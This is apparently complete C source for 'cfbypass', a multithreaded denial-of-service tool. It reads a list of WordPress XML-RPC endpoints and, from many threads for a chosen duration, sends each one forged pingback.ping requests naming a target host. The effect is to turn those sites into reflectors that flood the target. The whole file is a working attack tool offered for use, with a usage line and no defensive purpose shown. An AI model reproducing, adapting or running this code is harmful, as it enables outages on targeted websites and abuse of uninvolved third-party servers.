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cfbypass.c
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cfbypass.c
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/*
gcc cfbypass.c -Wall -ggdb -fopenmp -o cfbypass
discord: uninstall#9477
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <sys/select.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <signal.h>
#include <string.h>
#include <stdio.h>
#include <netdb.h>
#include <unistd.h>
#include <time.h>
#include <arpa/inet.h>
#include <sys/ioctl.h>
#include "omp.h"
static unsigned int nthreads = 1;
static int sig_stop = 0;
#define payloadSize 4096
#define packetSize (payloadSize + 4096)
struct url_t{
char * proto;
char * host;
char * path;
};
struct line_t{
char * url;
char * rpc;
struct addrinfo *rp;
struct url_t aURL;
} *data;
static unsigned int dataSize = 0;
static void signal_handler(int sig){
switch(sig){
case SIGINT:
case SIGTERM:
printf("Received interrupt signal. Stopping program...\n");
sig_stop = 1;
break;
}
};
static int die(int rc){
#pragma omp atomic
sig_stop++;
if(sig_stop > nthreads){
printf("Freeing global data\n");
int i;
for(i=0; i < dataSize; i++){
free(data[i].url);
free(data[i].rpc);
free(data[i].rp->ai_addr);
freeaddrinfo(data[i].rp);
free(data[i].aURL.host);
free(data[i].aURL.proto);
free(data[i].aURL.path);
}
free(data);
}
printf("Thread %i done\n", omp_get_thread_num());
exit(rc);
}
static char * parse_url(char * url_str, struct url_t* url){
char * proto_end = strstr(url_str, "://");
url->proto = (proto_end != NULL)? strndup(url_str, (proto_end - url_str))
: NULL;
char * host_end = strchr(&proto_end[3], '/');
url->host = (host_end != NULL) ? strndup(&proto_end[3], (host_end - &proto_end[3]))
: NULL;
url->path = (host_end != NULL) ? strdup(&host_end[1])
: NULL;
return url->host;
}
/*static struct addrinfo * get_ip(const char * host, const int port){
struct addrinfo hints;
struct addrinfo *result;
memset(&hints, 0, sizeof(struct addrinfo));
hints.ai_family = AF_INET;
hints.ai_socktype = 0;
hints.ai_flags = AI_NUMERICSERV;
hints.ai_protocol = 0;
hints.ai_canonname = NULL;
hints.ai_addr = NULL;
hints.ai_next = NULL;
char service[6]={0};
snprintf(service, 6, "%i", port);
int s = getaddrinfo(host, service, &hints, &result);
if (s != 0) {
fprintf(stderr, "getaddrinfo: %s\n", gai_strerror(s));
return NULL;
}
return result;
};*/
static int connect_me(const struct line_t * line, const unsigned short port, const unsigned short timeout){
struct addrinfo * rp = line->rp;
int skt = -1;
if ((skt = socket(rp->ai_family, rp->ai_socktype, rp->ai_protocol)) < 0){
perror("socket");
fprintf(stderr, "Error connecting to %s on port %i\n", line->aURL.host, port);
return -1;
}
struct timeval tv_tout;
int on = 1;
if (ioctl(skt, (int)FIONBIO, (char *)&on)){
printf("ioctl FIONBIO call failed\n");
}
connect(skt, rp->ai_addr, rp->ai_addrlen);
fd_set skt_set;
FD_ZERO(&skt_set);
FD_SET(skt, &skt_set);
tv_tout.tv_sec = timeout;
tv_tout.tv_usec = 0;
int rc = select(skt+1, NULL, &skt_set, NULL, &tv_tout);
if(rc < 0){
close(skt);
fprintf(stderr, "Error connecting to %s on port %i\n", line->aURL.host, port);
return -1;
}else if(rc == 0){
close(skt);
fprintf(stderr, "Timeout connecting to %s on port %i\n",line->aURL.host, port);
return -1;
}
return skt;
};
static int do_request(char * packet,
const struct line_t * line, const char * payload, const unsigned int payloadLen){
int skt = connect_me(line, 80, 2);
if(skt == -1){
return 1;
}
static const char packetFormat[] = "POST /%s HTTP/1.0\r\n"
"Host: %s\r\n"
"Content-type: text/xml\r\n"
"Content-length: %i\r\n"
"User-agent: Mozilla/4.0 (compatible: MSIE 7.0; Windows NT 6.0)\r\n"
"Connection: close\r\n\r\n"
"%s";
int packetLen = snprintf(packet, packetSize, packetFormat, line->aURL.path, line->aURL.host, payloadLen, payload);
if(send(skt, packet, packetLen, 0) == -1){
perror("send");
}
close(skt);
return 0;
};
static int get_lines(const char * filepath){
FILE *fin = fopen(filepath, "r");
if(fin == NULL){
fprintf(stderr, "Unable to open '%s'\n", filepath);
return 1;
}
size_t lineSize = 4096;
char * line = (char*) malloc(lineSize);
if(line == NULL){
perror("malloc");
return 1;
}
int bytes = 0;
while((bytes = getline(&line, &lineSize, fin)) > 0){
if(line[bytes-1] == '\n');
dataSize++;
}
rewind(fin);
data = (struct line_t*) malloc(sizeof(struct line_t)*dataSize);
if(data == NULL){
perror("malloc");
return 1;
}
int i=0, line_i=0;
char pton_buf[512]={0};
while((bytes = getline(&line, &lineSize, fin)) > 0){
line_i++;
line[bytes-1] = '\0';
char * space = strchr(line, ' ');
if(space == NULL){
continue;
}
data[i].url = strndup(line, (space - line));
char * rpc = &space[1];
space = strchr(&space[1], ' ');
space[0] = '\0';
data[i].rpc = strdup(rpc);
char * rp_info = &space[1];
data[i].rp = (struct addrinfo*) malloc(sizeof(struct addrinfo));
if(data[i].rp == NULL){
perror("malloc");
die(1);
}
if(5 != sscanf(rp_info, "%i %i %i %u %s", &data[i].rp->ai_family, &data[i].rp->ai_socktype,
&data[i].rp->ai_protocol, &data[i].rp->ai_addrlen, pton_buf)){
fprintf(stderr, "Error: Failed to parse 5 columns from line %i\n", line_i);
die(1);
}
void *ptr;
switch (data[i].rp->ai_family){
case AF_INET:
data[i].rp->ai_addr = (struct sockaddr *) malloc(sizeof(struct sockaddr_in));
if(data[i].rp->ai_addr == NULL){
perror("malloc"); die(1);
}
ptr = &((struct sockaddr_in *) data[i].rp->ai_addr)->sin_addr;
((struct sockaddr_in *) data[i].rp->ai_addr)->sin_port = htons(80);
break;
case AF_INET6:
data[i].rp->ai_addr = (struct sockaddr *) malloc(sizeof(struct sockaddr_in6));
if(data[i].rp->ai_addr == NULL){
perror("malloc"); die(1);
}
ptr = &((struct sockaddr_in6 *) data[i].rp->ai_addr)->sin6_addr;
((struct sockaddr_in6 *) data[i].rp->ai_addr)->sin6_port = htons(80);
break;
}
data[i].rp->ai_addr->sa_family = data[i].rp->ai_family;
data[i].rp->ai_canonname = NULL;
data[i].rp->ai_next = NULL;
if(inet_pton(data[i].rp->ai_family, pton_buf, ptr) != 1){
perror("inet_pton");
die(1);
}
if(parse_url(rpc, &data[i].aURL) == NULL){
fprintf(stderr, "Error: Parsing %s\n", data[i].rpc);
die(1);
}
i++;
}
dataSize = i;
printf("Parsed %u lines from '%s'\n", i, filepath);
free(line);
fclose(fin);
return 0;
}
int main(const int argc, const char * argv[]){
if(argc != 5){
fprintf(stderr, "Usage: ./cfbypass <host> <list> <time> <threads>\n");
return 1;
}
const char * target = argv[1];
const char * webFile = argv[2];
unsigned int seconds = atoi(argv[3]);
nthreads = atoi(argv[4]);
struct sigaction act, act_old;
act.sa_handler = signal_handler;
act.sa_flags = 0;
sigemptyset(&act.sa_mask);
if( (sigaction(SIGINT, &act, &act_old) == -1) ||
(sigaction(SIGTERM, &act, &act_old) == -1)){
perror("signal:");
return 1;
}
static const char payloadFormat[] = "<?xmlversion=\"1.0\"?>"
"<methodCall>"
"<methodName>pingback.ping</methodName>"
"<params>"
"<param><value><string>%s</string></value></param>"
"<param><value><string>%s</string></value></param>"
"</params>"
"</methodCall>";
if(get_lines(webFile) == 1){
return 1;
}
time_t t3 = time(NULL);
time_t tEnd = t3 + seconds;
if(nthreads > dataSize){
printf("Warning: Threads count > URL count. Reducing threads to %i\n", dataSize);
nthreads = dataSize;
}
int chunk = dataSize / nthreads;
#pragma omp parallel num_threads(nthreads)
{
int tid = omp_get_thread_num();
char *payload = (char*) malloc(payloadSize);
char *packet = (char*) malloc(payloadSize + 4096);
if((payload == NULL) || (packet == NULL)){
perror("malloc");
die(1);
}
int istart = tid * chunk;
int iend = istart + chunk;
if(tid == (nthreads-1))
iend += (dataSize % nthreads);
while(sig_stop == 0){
#pragma omp flush(sig_stop)
int i=0;
time_t i1 = time(NULL);
for(i=istart; i < iend; i++){
if( (time(NULL) >= tEnd) || (sig_stop > 0) ){
printf("Thread %i out of time\n", tid);
i = iend;
#pragma omp atomic
sig_stop++;
continue;
}
int payloadLen = snprintf(payload, payloadSize, payloadFormat, target, data[i].url);
do_request(packet, &data[i], payload, payloadLen);
usleep(10000);
#pragma omp critical
printf("%s\n", data[i].url);
}
time_t i2 = time(NULL);
#pragma omp critical
printf("%i| %i requests done for %lu sec\n", tid, (iend-istart), (i2-i1) );
}
free(payload);
free(packet);
#pragma omp atomic
++sig_stop;
}
time_t t4 = time(NULL);
printf("Runtime: %lus\n", t4-t3);
die(0);
return 0;
}